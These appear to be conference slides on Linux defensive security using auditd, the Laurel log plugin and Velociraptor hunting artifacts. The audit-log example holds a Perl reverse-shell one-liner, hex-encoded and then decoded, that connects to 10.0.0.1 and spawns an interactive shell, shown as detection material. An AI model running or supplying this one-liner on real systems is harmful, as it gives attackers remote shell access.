Who-are-we

• Just 2 guys in enterprise IT, doing defensive security, with a focus on Linux
  • Hendrik: Background in offensive security, anomaly detection
  • Hilko: Background in developing security tools, open source

Large Enterprise – what do we mean?

• Means things have to scale:
  • 10k+ heterogeneous servers, 100k+ clients
  • Large data (up to petabytes) have to be process and stored
• Challenges to handle
  • Asset Management is never up to date
  • Dynamic systems (cloud, container, …) come and go
  • Regulations (EU Tender)

What we need to do

Working around Linux Audit shortcomings

"Linux Audit – Usable, Robust, Easy Logging"

• auditd plugin: Parse audit log, write JSON
• Enrichment, process tracking and labelling
• Filtering capabilities
• https://github.com/threathunters-io/laurel, GPLv3

Linux Audit Subsystem, LOL

type=SYSCALL msg=audit(1626611363.720:348501): …
type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl"
  a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24
  703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545
  245414D2C67657470726F746F62796E616D6528227463702229293B69662863
  6F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746
  F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E
  285354444F55542C223E265322293B6F70656E285354444552522C223E26532
  2293B6578656328222F62696E2F7368202D6922293B7D3B
type=CWD msg=audit(1626611363.720:348501): …

• Parsing is hard for SIEM software
• Few filtering options

A little post-processing done by Laurel

{ "ID":"1626611363.720:348501",
  "SYSCALL": { … "PPID": {"EVENT_ID": "1626607554.859:32454",
    "comm": "sh","exe":"/bin/sh"},"LABELS":["weblogic"], … },
  "EXECVE":{ "argc": 3,
    "ARGV": ["perl", "-e",
      "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,
      getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
      open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");
      exec(\"/bin/sh -i\");};"]},
   … }

auditd + Laurel setup

What is an EDR and why don’t we?

• Vendors’ view
  • Detection = Logging + Alerting of Security Events
  • Response = Allows to fetch context, manipulate device
• Our view
  • Windows-first products, no understanding for Unix platforms
  • Black-box products, no transparency
  • Closed products, no custom rules
• Our Linux Audit rulesets + Laurel yield better results
• Something needed to be done about the “R” side.

Velociraptor as an Incident Response Tool

Velociraptor - Master/Minion setup

Velociraptor - Integration

Artifact Interaction

DataCollection

- name: Unix_Data_Collection
  precondition: |
      SELECT * FROM scope()
      WHERE enable_InfoCollection=True
  query: |
      LET rerun_collection =
        SELECT hunt(
          description="Automated DataCollection",
          artifacts="Custom.DataCollection.Client.Info",
          expires=now()+time_expire,
          exclude_labels = "inactive",
          cpu_limit=30
      ) FROM scope()

      SELECT * FROM
        foreach(
          row={SELECT * FROM clock(
            period=time_period)},query=rerun_collection)

Labeling is Key!

   - name: metaMap_pkg
     default: |
      MetaName,PKG_Name
      Packages_Web,^apache|httpd|nginx
      Packages_Container,^docker|containerd|runc
      Packages_Cluster,^k8s|k3s
      Packages_Proxy,^squid|varnish
   - name: metaMap_svc
     default: |
      MetaName,Service_Name,Description_Regex
      Services_App,.+,^Atlassian|confluence
      Services_Web,^apache|httpd|tomcat|nginx|jboss,.+
   - name: MetaToLabelMap
     default: |
      LabelName,MetaName,Entry_Regex
      Webserver,Packages_Web,.+
      APP_Confluence,Services_App,confluence

Automatic Hunting

- name: Unix_AutoHunt
  query: |
    # [...]
    SELECT * FROM hunt(
      description="Automated Hunting",
      artifacts=("Custom.Autohunt.Example"),
      expires=now()+time_period_autohunt,
      include_labels = myLabels,
      exclude_labels = "inactive",
      cpu_limit=30 )

Garbage Collection

- name: DeleteClients
  query: |
    SELECT * FROM foreach(
      row = { SELECT * FROM client_list },
      query={
        SELECT client_id, c_info, type,
          ReallyDoIt,count() as objects
        FROM client_delete(
          client_id=client_id, really_do_it=ReallyDoIt)
        WHERE NOT client_id="server" },
      async=True, workers=parallel_workers )
- name: OrphanedClients
  query: |
    SELECT Names FROM foreach(
      row=clienlist_batches,
      query={ SELECT _ FROM execve(
        cwd=file_store(path="clients"), 
        argv=[("rm", "-rf") + Names] )},
      async=true, workers=remove_workers)

Summary / Outlook

• Combination of auditd/Laurel + Velociraptor
  • Assets are key
  • Velociraptor Artifacts are enabling new detection and response capabilities
  • Signature scanning
  • Behaviour Monitoring
• Open Source works well, given the right commitment
• Limitations:
  • focus is on hosted systems, docker/kubernetes has challenges
• eBPF: cornerstone for Linux Audit replacement

Thank you for your attention

Slides will be published here:

(https://hillu.github.io/conference-materials/hacklu-2025-linux/slides.reveal.html)

Contact us at

• Hilko Bengen <bengen@hilluzination.de> / @hillu@infosec.exchange
• Hendrik Schmidt <contact@hschmidt.eu>